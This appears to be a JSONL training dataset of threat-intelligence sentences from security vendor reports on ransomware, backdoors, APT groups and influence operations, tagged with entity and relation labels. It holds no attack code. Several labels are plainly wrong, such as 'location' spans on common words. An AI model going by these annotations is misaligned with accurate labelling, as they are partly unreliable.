+{"id":2042,"text":"While analyzing the ransomware binaries, we discovered a unique string prevalent in almost all of the samples: :wtfbbq (stored as UTF-16LE).","entities":[],"relations":[],"Comments":[]}
+{"id":11828,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
+{"id":2642,"text":"Appendix A Additional Resources","entities":[],"relations":[],"Comments":[]}
+{"id":1800,"text":"The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.","entities":[{"id":45137,"label":"tools","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
+{"id":14336,"text":" Figure 19. Round Year Fun logo found at Maikspy\u2019s malicious domain","entities":[{"id":48564,"label":"malware","start_offset":41,"end_offset":48}],"relations":[],"Comments":[]}
+{"id":13710,"text":"The Trend Micro\u2122 Cloud App Security solution enhances the security of Microsoft Office 365 and other cloud services through sandbox malware analysis for BEC and other advanced threats.","entities":[],"relations":[],"Comments":[]}
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+{"id":4471,"text":"For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.","entities":[{"id":50266,"label":"campaign","start_offset":28,"end_offset":37},{"id":50261,"label":"identity","start_offset":13,"end_offset":16},{"id":50265,"label":"SOFTWARE","start_offset":117,"end_offset":134},{"id":50262,"label":"location","start_offset":48,"end_offset":56},{"id":50263,"label":"vulnerability","start_offset":78,"end_offset":102},{"id":50264,"label":"SOFTWARE","start_offset":106,"end_offset":112}],"relations":[{"id":935,"from_id":50266,"to_id":50262,"type":"targets"},{"id":936,"from_id":50266,"to_id":50263,"type":"exploits"},{"id":937,"from_id":50264,"to_id":50263,"type":"has"},{"id":938,"from_id":50265,"to_id":50263,"type":"has"}],"Comments":[]}
+{"id":2975,"text":"But if you want to keep your home devices more secure, you need to make sure the underlying router and Wi-Fi are more secure.","entities":[],"relations":[],"Comments":[]}
+{"id":2807,"text":"For information on Palo Alto Networks protections, please see our posting Palo Alto Networks Protections Against WanaCrypt0r Ransomware Attacks.","entities":[{"id":48027,"label":"identity","start_offset":74,"end_offset":92},{"id":48026,"label":"identity","start_offset":19,"end_offset":37},{"id":8580,"label":"malware","start_offset":113,"end_offset":124}],"relations":[],"Comments":[]}
+{"id":14400,"text":"Malicious actors, once in an organization\u2019s network, will need to move beyond their initial infection location to other parts of the network, seeking out areas that hold the data or critical systems they wish to utilize.","entities":[],"relations":[],"Comments":[]}
+{"id":6346,"text":"In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.","entities":[],"relations":[],"Comments":[]}
+{"id":1626,"text":"To prevent this, Funtasy blocks the incoming messages before they are displayed to the user and modifies the time stamp on each message to make them appear to have been received 15 days earlier.","entities":[{"id":46850,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":13123,"text":"Cloud investments are delivering innovative customer experiences, streamlining business processes and driving enterprise agility across the planet.","entities":[],"relations":[],"Comments":[]}
+{"id":2085,"text":"Using his username and alias and pivot, we were able to identify two Telegram accounts sharing the same picture as observed before, and descriptions pointing to the threat actor\u2019s main site \u0444\u0441\u0431[.]com.","entities":[{"id":47213,"label":"DOMAIN","start_offset":190,"end_offset":199},{"id":47214,"label":"SOFTWARE","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
+{"id":7028,"text":"An additional executable that serves as a launcher is loaded in memory, which then loads the final SysUpdate payload.","entities":[{"id":22046,"label":"malware","start_offset":99,"end_offset":108}],"relations":[],"Comments":[]}
+{"id":13973,"text":"There are many reasons why we are in this overloaded place, drowning in alerts and logs.","entities":[],"relations":[],"Comments":[]}
+{"id":8518,"text":"Cookie Theft, also known as \u201cpass-the-cookie attack,\u201d is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":26311,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
+{"id":5879,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
+{"id":3711,"text":"Lateral Movement","entities":[{"id":49506,"label":"attack-pattern","start_offset":0,"end_offset":16}],"relations":[],"Comments":[]}
+{"id":2959,"text":" Microsoft patched 129 IE vulnerabilities in all of 2013 and today\u2019s release brings the 2014 total to 116.","entities":[{"id":48115,"label":"identity","start_offset":1,"end_offset":10},{"id":48116,"label":"SOFTWARE","start_offset":23,"end_offset":25},{"id":48117,"label":"TIME","start_offset":52,"end_offset":56},{"id":48118,"label":"TIME","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
+{"id":2718,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":6966,"text":"Note that in this specific campaign, both the Crimson RAT malware downloader document and the ObliqueRat malware downloader share the same download domain, which is sharingmymedia[.]com.","entities":[{"id":21800,"label":"location","start_offset":27,"end_offset":35},{"id":21801,"label":"malware","start_offset":46,"end_offset":57},{"id":21802,"label":"location","start_offset":86,"end_offset":89},{"id":21803,"label":"tools","start_offset":94,"end_offset":104},{"id":21804,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
+{"id":3515,"text":"An old dog learning new tricks Protux is an old backdoor, with its first version developed in 2005.","entities":[{"id":10644,"label":"malware","start_offset":31,"end_offset":37},{"id":49302,"label":"TIME","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
+{"id":5471,"text":"We are admittedly uncertain of the extent \u2014 and success \u2014 of their use, but it\u2019s one of the ingredients of the group\u2019s operations.","entities":[],"relations":[],"Comments":[]}
+{"id":1124,"text":" \u201cdefined_setnocandy\u201d  -- After reading mutex names for a few hours this just sticks out like a sore thumb.","entities":[{"id":3460,"label":"TIME","start_offset":56,"end_offset":67}],"relations":[],"Comments":[]}
+{"id":14385,"text":"Sure there\u2019s some herd-immunity with EDR that the greater number of managed endpoints the harder it is for an attacker to move laterally or deeper.","entities":[],"relations":[],"Comments":[]}
+{"id":1665,"text":"The client then combines the 32-byte seed value with the static password in a predetermined fashion to form an AES key.","entities":[],"relations":[],"Comments":[]}
+{"id":6451,"text":"RemoteUtilities Installation     The MSI installer installs a service on the victim machine called Remote Utilities \u2013 Host:      Figure 5.","entities":[{"id":20079,"label":"malware","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]}
+{"id":5212,"text":"However, the network bandwidth in embedded systems is also lower than, for example, what internet nodes can provide.","entities":[],"relations":[],"Comments":[]}
+{"id":1724,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":7468,"text":"Comparing the earlier MuddyWater campaign with this new one reveals some distinct similiarities:    2017 MuddyWater Campaign 2018 \u201cMuddyWater\u201d Campaign Countries of Targeted Organizations Georgia, India, Iraq, Israel, Pakistan, Saudi Arabia Turkey United Arab Emirates, and the USA Turkey, Pakistan, Tajikistan","entities":[{"id":23243,"label":"location","start_offset":33,"end_offset":41},{"id":23244,"label":"location","start_offset":56,"end_offset":59},{"id":23246,"label":"threat-actor","start_offset":105,"end_offset":115},{"id":23247,"label":"location","start_offset":116,"end_offset":124},{"id":23249,"label":"threat-actor","start_offset":131,"end_offset":141},{"id":23250,"label":"location","start_offset":143,"end_offset":151},{"id":23259,"label":"location","start_offset":270,"end_offset":273}],"relations":[],"Comments":[]}
+{"id":769,"text":"  Figure 5. C style code of st_ProtecFreeManageHeap  ","entities":[],"relations":[],"Comments":[]}
+{"id":13981,"text":"ATT&CK enables network defenders and cyber threat intelligence analysts to collaborate through an open community to continuously identify tactics, techniques and tools used by 90+ global threat actor groups to improve their protection and detection.","entities":[],"relations":[],"Comments":[]}
+{"id":284,"text":"Because of the likelihood of ransomware attacks \u2013 or destructive attacks that pose as ransomware \u2013 it may be beneficial to focus on preparing in this area, particularly ensuring backup and recovery plans are in place.","entities":[],"relations":[],"Comments":[]}
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+{"id":57,"text":"Here\u2019s the chart for bitcoin over the last two years, showing a rise of 2,000% to 4,000% in the versus the U.S. dollar.","entities":[{"id":44585,"label":"SOFTWARE","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
+{"id":8420,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
+{"id":13944,"text":"Phase 1 + data exfiltration and threatening data release.","entities":[],"relations":[],"Comments":[]}
+{"id":5239,"text":"AnubisSpy can also self-destruct to cover its tracks.","entities":[{"id":16104,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
+{"id":9671,"text":"Hardware UUID  Figure 13.","entities":[],"relations":[],"Comments":[]}
+{"id":1437,"text":"The certificate information is stored within the certificate\u2019s  \u201c\/META-INF\u201d folder.","entities":[{"id":46768,"label":"FILEPATH","start_offset":65,"end_offset":74}],"relations":[],"Comments":[]}
+{"id":13737,"text":"During our recent Waterbear investigation, we discovered that the DLL loader loaded two payloads.","entities":[],"relations":[],"Comments":[]}
+{"id":5361,"text":"Typical \/proc\/","entities":[{"id":51365,"label":"FILEPATH","start_offset":8,"end_offset":14}],"relations":[],"Comments":[]}
+{"id":13459,"text":" Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":41923,"label":"location","start_offset":41,"end_offset":44},{"id":41924,"label":"threat-actor","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
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+{"id":4731,"text":"Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.","entities":[{"id":50637,"label":"identity","start_offset":62,"end_offset":72},{"id":50638,"label":"identity","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
+{"id":13636,"text":" Organizations can benefit from having Trend Micro\u2122 endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free\u2122 Business Security.","entities":[],"relations":[],"Comments":[]}
+{"id":13954,"text":"Innovation is as much about quickly and completely copying others\u2019 best practices as it is about coming up with new approaches.","entities":[],"relations":[],"Comments":[]}
+{"id":13689,"text":"     Figure 10.","entities":[],"relations":[],"Comments":[]}
+{"id":3115,"text":"Older systems (like Windows XP) and devices (like older Android smartphones and IoT devices) will likely never receive fixes for these vulnerabilities.","entities":[{"id":48257,"label":"SOFTWARE","start_offset":56,"end_offset":63},{"id":48256,"label":"SOFTWARE","start_offset":20,"end_offset":30}],"relations":[],"Comments":[]}
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+{"id":13989,"text":"Tweet us your thoughts at @TrendMicro.","entities":[],"relations":[],"Comments":[]}
+{"id":8752,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
+{"id":677,"text":" Embedded Flash files  In addition to built-in capabilities, like macros, Office documents can also be embedded with external objects, such as Adobe Flash files.","entities":[{"id":2236,"label":"location","start_offset":91,"end_offset":94},{"id":46250,"label":"SOFTWARE","start_offset":143,"end_offset":154}],"relations":[],"Comments":[]}
+{"id":14072,"text":"    We can see how the Freenki malware, previous SLUB campaigns, and Operation Earth Kitsune share many common TTPs in their delivery and persistence mechanisms.","entities":[{"id":47402,"label":"malware","start_offset":23,"end_offset":31},{"id":47403,"label":"malware","start_offset":49,"end_offset":54},{"id":47425,"label":"campaign","start_offset":69,"end_offset":92}],"relations":[{"id":344,"from_id":47402,"to_id":47403,"type":"related-to"},{"id":345,"from_id":47402,"to_id":47425,"type":"related-to"}],"Comments":[]}
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+{"id":5184,"text":"Given the service\u2019s position as a security and operations building block, all vulnerabilities that affect DDS also affect the rest of the software stack, such as RTPS and all ROS 2 instances.","entities":[{"id":51231,"label":"SOFTWARE","start_offset":175,"end_offset":180},{"id":51232,"label":"SOFTWARE","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]}
+{"id":655,"text":"After a host is infected, there is no communication from the malware back to the attacker.","entities":[],"relations":[],"Comments":[]}
+{"id":2951,"text":"Today, Microsoft patched 59 Internet Explorer vulnerabilities, 21 of them discovered by Palo Alto Networks researchers.","entities":[{"id":48106,"label":"identity","start_offset":88,"end_offset":106},{"id":48105,"label":"identity","start_offset":7,"end_offset":16}],"relations":[],"Comments":[]}
+{"id":6831,"text":"Today, we\u2019re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":21281,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":21282,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
+{"id":3814,"text":"The table below lists examples of the commands and outputs for ANEL versions 5.1.1 rc and 5.1.2 rc1.","entities":[{"id":49687,"label":"malware","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
+{"id":2670,"text":"The following data is broken into fiscal years and quarters based on when the threat actor breached the network, not when the activity was noticed by a client.","entities":[],"relations":[],"Comments":[]}
+{"id":5534,"text":"Whether it\u2019s a big-name e-commerce brand like Newegg, a national airline, a global ticketing site (Ticketmaster), or even online campus stores serving nearly 200 universities in the US and Canada\u2013as long as they accept online payments, they\u2019re at risk.","entities":[{"id":51533,"label":"identity","start_offset":99,"end_offset":111},{"id":51534,"label":"location","start_offset":182,"end_offset":184},{"id":51535,"label":"location","start_offset":189,"end_offset":195},{"id":51532,"label":"identity","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":3738,"text":"Publication of VMware advisory VMSA-2022-0011 regarding CVE-2022-22954, CVE-2022-22955,CVE-2022-22956, CVE-2022-22957, CVE-2022-22958, CVE-2022-22959, CVE-2022-22960, CVE-2022-22961.","entities":[{"id":49550,"label":"identity","start_offset":15,"end_offset":21},{"id":49551,"label":"vulnerability","start_offset":56,"end_offset":70},{"id":49552,"label":"vulnerability","start_offset":72,"end_offset":86},{"id":49553,"label":"vulnerability","start_offset":87,"end_offset":101},{"id":49554,"label":"vulnerability","start_offset":103,"end_offset":117},{"id":49555,"label":"vulnerability","start_offset":119,"end_offset":133},{"id":49556,"label":"vulnerability","start_offset":135,"end_offset":149},{"id":49557,"label":"vulnerability","start_offset":151,"end_offset":165},{"id":49558,"label":"vulnerability","start_offset":167,"end_offset":181}],"relations":[],"Comments":[]}
+{"id":4729,"text":"We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.","entities":[{"id":50636,"label":"identity","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
+{"id":12705,"text":" Recent sha256 hashes of malware samples:  This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.","entities":[],"relations":[],"Comments":[]}
+{"id":1500,"text":" Depending on the backdoor\u2019s specialization and sophistication, it can also capture keystrokes, take screenshots, scrape memory for valuable information, search for files meeting certain criteria, query databases, download files and additional malware, exfiltrate data and files, and even serve as an attack platform.","entities":[],"relations":[],"Comments":[]}
+{"id":13504,"text":"Void Balaur\u2019s high-profile targets","entities":[{"id":51572,"label":"threat-actor","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
+{"id":13117,"text":"But finding the right cybersecurity partners can still be something of an operational challenge involving a mountain of manual work.","entities":[],"relations":[],"Comments":[]}
+{"id":13510,"text":"These targets belong to different industries such as the telecommunications, retail, financial, medical, and even the biotech sectors.","entities":[],"relations":[],"Comments":[]}
+{"id":431,"text":"In these cases, the coin mining is authorized; the website informs the user that, while on the site, his or her computing resources will be used to \u201cmine\u201d digital currency, and the site will receive the credits.","entities":[],"relations":[],"Comments":[]}
+{"id":13762,"text":"The function address table of the payload.","entities":[],"relations":[],"Comments":[]}
+{"id":12465,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
+{"id":12844,"text":"Evaluations conducted by MITRE Engenuity don\u2019t generate any scores, rankings or ratings.","entities":[],"relations":[],"Comments":[]}
+{"id":54,"text":"Cybercriminals have become good business people: they saw the benefits and embraced the change.","entities":[],"relations":[],"Comments":[]}
+{"id":8468,"text":"While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.","entities":[],"relations":[],"Comments":[]}
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+{"id":2241,"text":"The two keys used for this encryption are generated using another unidentified algorithm.","entities":[],"relations":[],"Comments":[]}
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+{"id":12492,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
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+{"id":8281,"text":"He didn\u2019t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.","entities":[],"relations":[],"Comments":[]}
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+{"id":12380,"text":"We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
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+{"id":4835,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":50792,"label":"attack-pattern","start_offset":123,"end_offset":136}],"relations":[],"Comments":[]}
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+{"id":13955,"text":"  Ransomware will only continue to evolve.","entities":[],"relations":[],"Comments":[]}
+{"id":12227,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
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+{"id":3807,"text":" .docx      Figure 3. Exploitation of DDEAUTO  Figure 4.","entities":[],"relations":[],"Comments":[]}
+{"id":2369,"text":"This is not the group\u2019s first foray into cyberespionage, and its long list of past cybercrimes also includes ransomware and cryptocurrency mining attacks.","entities":[],"relations":[],"Comments":[]}
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+{"id":11782,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
+{"id":7077,"text":"This is done in conjunction with the Process Monitor driver (procxp152.sys), both of which are dropped upon loading the rootkit, even if they are not originally installed in the machine.","entities":[{"id":22174,"label":"location","start_offset":45,"end_offset":52},{"id":22175,"label":"location","start_offset":53,"end_offset":59},{"id":22176,"label":"location","start_offset":91,"end_offset":94},{"id":22177,"label":"attack-pattern","start_offset":120,"end_offset":127},{"id":22178,"label":"location","start_offset":142,"end_offset":145}],"relations":[],"Comments":[]}
+{"id":2095,"text":"Unit 42 believes that x4k, this threat actor, is now expanding into the ransomware business to capitalize on some of the gains other ransomware groups are making.","entities":[{"id":47226,"label":"identity","start_offset":0,"end_offset":7},{"id":47227,"label":"threat-actor","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
+{"id":1107,"text":" As can be clearly seen, mutex 2gvwnqjz1 is strongly associated with malware.","entities":[],"relations":[],"Comments":[]}
+{"id":4119,"text":"Opens\/Reads specified file 0x5002 Unknown 0x5004 Opens\/Writes specified file 0x5006","entities":[],"relations":[],"Comments":[]}
+{"id":1480,"text":" 3. Third party app developers using the same key for all apps generated for all customers  ","entities":[],"relations":[],"Comments":[]}
+{"id":8926,"text":"Also, we could not find anything malicious in the latest Windows installer.","entities":[],"relations":[],"Comments":[]}
+{"id":5339,"text":"This time, it expects an encrypted packet to be decrypted using the hard-coded RSA-2560 public key.","entities":[],"relations":[],"Comments":[]}
+{"id":13572,"text":"The script for grabbing page content and sending it back to the attacker     Credential Phishing","entities":[{"id":51654,"label":"attack-pattern","start_offset":77,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":163,"text":" Unlike other forms of malware, ransomware is very specific in its targeting.","entities":[],"relations":[],"Comments":[]}
+{"id":11103,"text":"Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.","entities":[],"relations":[],"Comments":[]}
+{"id":14251,"text":"All communication to these C&C servers are done on three different port numbers: 53 (DNS), 80 (HTTP), and 443 (HTTPS).","entities":[],"relations":[],"Comments":[]}
+{"id":1008,"text":"Figure 3: The seller showed how to register for student discount accounts.","entities":[],"relations":[],"Comments":[]}
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+{"id":4495,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
+{"id":2869,"text":"This vulnerability is so widespread that Microsoft has released patches to protect Windows XP, for which Microsoft has ended support since April 8, 2014.","entities":[{"id":48068,"label":"SOFTWARE","start_offset":83,"end_offset":93},{"id":48070,"label":"TIME","start_offset":139,"end_offset":152},{"id":48067,"label":"identity","start_offset":41,"end_offset":50},{"id":48069,"label":"identity","start_offset":105,"end_offset":114}],"relations":[],"Comments":[]}
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+{"id":4215,"text":" Figure 2: Stealing function excerpt from Fuddi Duniya Android app","entities":[{"id":50030,"label":"malware","start_offset":42,"end_offset":66}],"relations":[],"Comments":[]}
+{"id":2164,"text":" Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead.","entities":[],"relations":[],"Comments":[]}
+{"id":9774,"text":"The figure below is the decoded .res file from Figure 9.","entities":[],"relations":[],"Comments":[]}
+{"id":6232,"text":"However, we don\u2019t know what code they delivered because the server was already down when we were verifying the malware variants.","entities":[],"relations":[],"Comments":[]}
+{"id":4950,"text":"One of APT35\u2019s novel techniques involves using Telegram for operator notifications.","entities":[{"id":50975,"label":"threat-actor","start_offset":7,"end_offset":12},{"id":50976,"label":"SOFTWARE","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
+{"id":7521,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]}
+{"id":1033,"text":"In order to sell anything on Taobao, a seller must at least create a valid Alipay account (similar to PayPal) linked to a valid Chinese citizen ID number (similar to a U.S. Social Security number), and then associate it with a valid Chinese bank account under the same citizen ID.","entities":[{"id":46526,"label":"SOFTWARE","start_offset":75,"end_offset":81},{"id":46525,"label":"SOFTWARE","start_offset":29,"end_offset":35},{"id":46527,"label":"SOFTWARE","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]}
+{"id":4092,"text":"For the C&C connections, the customized Lilith RAT will first check in to the attacker\u2019s Dropbox and see if the victim host exists.","entities":[{"id":49925,"label":"SOFTWARE","start_offset":89,"end_offset":96},{"id":49924,"label":"malware","start_offset":40,"end_offset":50}],"relations":[],"Comments":[]}
+{"id":13652,"text":"We found that most of the recipients hold high corporate positions, particularly in the finance department.","entities":[],"relations":[],"Comments":[]}
+{"id":9143,"text":"Going Global 2014 was a significant year in Lurk\u2019s history.","entities":[],"relations":[],"Comments":[]}
+{"id":13439,"text":"Malware samples:","entities":[],"relations":[],"Comments":[]}
+{"id":6012,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.","entities":[{"id":18551,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":18552,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":18553,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":18555,"label":"attack-pattern","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]}
+{"id":1761,"text":" The main idea of new exploitation technique is to alter a flag that is used to control the security setting of an ActiveX object.","entities":[],"relations":[],"Comments":[]}
+{"id":1992,"text":" During the analysis of the MicroBackdoor sample, Unit 42 observed the configuration and found an embedded IP address, belonging to a threat actor we believe is potentially the developer: x4k, also known as L4ckyguy, unKn0wn, unk0w, _unkn0wn and x4kme.","entities":[{"id":45216,"label":"threat-actor","start_offset":246,"end_offset":251},{"id":45209,"label":"malware","start_offset":28,"end_offset":41},{"id":45212,"label":"threat-actor","start_offset":207,"end_offset":215},{"id":45210,"label":"identity","start_offset":50,"end_offset":57},{"id":45213,"label":"threat-actor","start_offset":217,"end_offset":224},{"id":45211,"label":"threat-actor","start_offset":188,"end_offset":191},{"id":45214,"label":"threat-actor","start_offset":226,"end_offset":231},{"id":45215,"label":"threat-actor","start_offset":233,"end_offset":241}],"relations":[{"id":87,"from_id":45216,"to_id":45211,"type":"duplicate-of"},{"id":83,"from_id":45212,"to_id":45211,"type":"duplicate-of"},{"id":84,"from_id":45213,"to_id":45211,"type":"duplicate-of"},{"id":85,"from_id":45214,"to_id":45211,"type":"duplicate-of"},{"id":86,"from_id":45215,"to_id":45211,"type":"duplicate-of"},{"id":88,"from_id":45209,"to_id":45211,"type":"authored-by"}],"Comments":[]}
+{"id":2470,"text":"Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.","entities":[{"id":47542,"label":"attack-pattern","start_offset":20,"end_offset":28},{"id":47541,"label":"attack-pattern","start_offset":127,"end_offset":135}],"relations":[],"Comments":[]}
+{"id":1087,"text":" The mutex is the fundamental tool for managing shared resources between multiple threads (or processes).","entities":[],"relations":[],"Comments":[]}
+{"id":13183,"text":"The USBferry malware also loads a C&C configuration file and flash_en.dat, which is also located in the C:\\Users\\Public\\Documents\\Flash","entities":[{"id":41135,"label":"malware","start_offset":4,"end_offset":12},{"id":41136,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
+{"id":6699,"text":"And as others have reported, we\u2019re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":20818,"label":"location","start_offset":0,"end_offset":3},{"id":20819,"label":"location","start_offset":80,"end_offset":83},{"id":20820,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":20821,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
+{"id":13767,"text":"Table: The API hashes for dynamic API loading","entities":[],"relations":[],"Comments":[]}
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+{"id":10934,"text":"Furthermore, it no longer uses ZIP.","entities":[],"relations":[],"Comments":[]}
+{"id":5654,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
+{"id":13749,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
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+{"id":1078,"text":"You can get information on patch and update availability from your mobile carrier or handset maker.","entities":[],"relations":[],"Comments":[]}
+{"id":6069,"text":"This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.","entities":[],"relations":[],"Comments":[]}
+{"id":13096,"text":"These custom, proprietary programming languages and unique ecosystems can make security complex, and lead to unpatched vulnerabilities which sophisticated attackers could exploit, with serious consequences.","entities":[],"relations":[],"Comments":[]}
+{"id":10857,"text":"A component used as PowerWakeLock.","entities":[],"relations":[],"Comments":[]}
+{"id":11999,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
+{"id":245,"text":"While the banking information shared on the donation website matches the original campaign website, we confirmed that the BTC wallet address is different from the actual.","entities":[{"id":45944,"label":"SOFTWARE","start_offset":122,"end_offset":132}],"relations":[],"Comments":[]}
+{"id":3949,"text":"This trojan requires to be run under a user with SeTcbPrivilege.","entities":[],"relations":[],"Comments":[]}
+{"id":1306,"text":" At this point, the remote server will respond with an unencrypted file that the malware saves to the system.","entities":[],"relations":[],"Comments":[]}
+{"id":1328,"text":"The following code demonstrates how you can decrypt the malware communications using Python:  The malware then enters a loop where it will send out periodic requests to the remote server.","entities":[],"relations":[],"Comments":[]}
+{"id":2273,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":47345,"label":"location","start_offset":71,"end_offset":73},{"id":47344,"label":"identity","start_offset":0,"end_offset":3},{"id":47347,"label":"location","start_offset":82,"end_offset":88},{"id":47346,"label":"location","start_offset":75,"end_offset":80},{"id":47348,"label":"location","start_offset":93,"end_offset":107}],"relations":[],"Comments":[]}
+{"id":5321,"text":" The data is encrypted using AES-256 in cipher block chaining (CBC) mode with a randomly generated 256-bit key and 128-bit initialization vector (IV).","entities":[],"relations":[],"Comments":[]}
+{"id":5649,"text":"Any service that uses SMS for authentication of information or proof that a user is authorizing a charge is vulnerable to Trojan attacks.","entities":[],"relations":[],"Comments":[]}
+{"id":260,"text":"Note that Palo Alto Networks customers receive protections against such domains from the Next-Generation Firewall via Advanced URL Filtering, DNS Security and WildFire URL Analysis subscriptions.","entities":[{"id":45955,"label":"SOFTWARE","start_offset":159,"end_offset":167},{"id":45954,"label":"identity","start_offset":10,"end_offset":28}],"relations":[],"Comments":[]}
+{"id":13281,"text":"Encrypted backdoor configuration","entities":[],"relations":[],"Comments":[]}
+{"id":6622,"text":"Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.","entities":[{"id":20555,"label":"location","start_offset":65,"end_offset":69},{"id":20557,"label":"threat-actor","start_offset":118,"end_offset":131}],"relations":[],"Comments":[]}
+{"id":144,"text":" In some ways, these three points state the obvious.","entities":[],"relations":[],"Comments":[]}
+{"id":4755,"text":"This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.","entities":[{"id":50660,"label":"identity","start_offset":17,"end_offset":23}],"relations":[],"Comments":[]}
+{"id":212,"text":"This software is designed as free partition software that can reorganize disk space for better performance.","entities":[],"relations":[],"Comments":[]}
+{"id":13598,"text":"The malicious plugin installs several files with web shells     Malware Delivery","entities":[],"relations":[],"Comments":[]}
+{"id":7649,"text":"Lacking the use of fast flux infrastructure TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection.","entities":[{"id":23793,"label":"threat-actor","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]}
+{"id":40,"text":"Another aspect of Banking Trojan infections is that, while the criminal may be infecting hosts indiscriminately, the value of the host greatly depends on the individual who owns it, and the criminals\u2019 ability to \u201ccash out\u201d their bank account.","entities":[],"relations":[],"Comments":[]}
+{"id":1418,"text":" As with most fast-spreading malware, antivirus engines will typically begin detecting the files a day or two after the spread has begun.","entities":[],"relations":[],"Comments":[]}
+{"id":7770,"text":"The decrypted FlawedAmmyy RAT slightly different from the one that TA505 reused over its past campaigns.","entities":[{"id":24087,"label":"malware","start_offset":14,"end_offset":25},{"id":24088,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
+{"id":4831,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":50787,"label":"SOFTWARE","start_offset":65,"end_offset":70}],"relations":[],"Comments":[]}
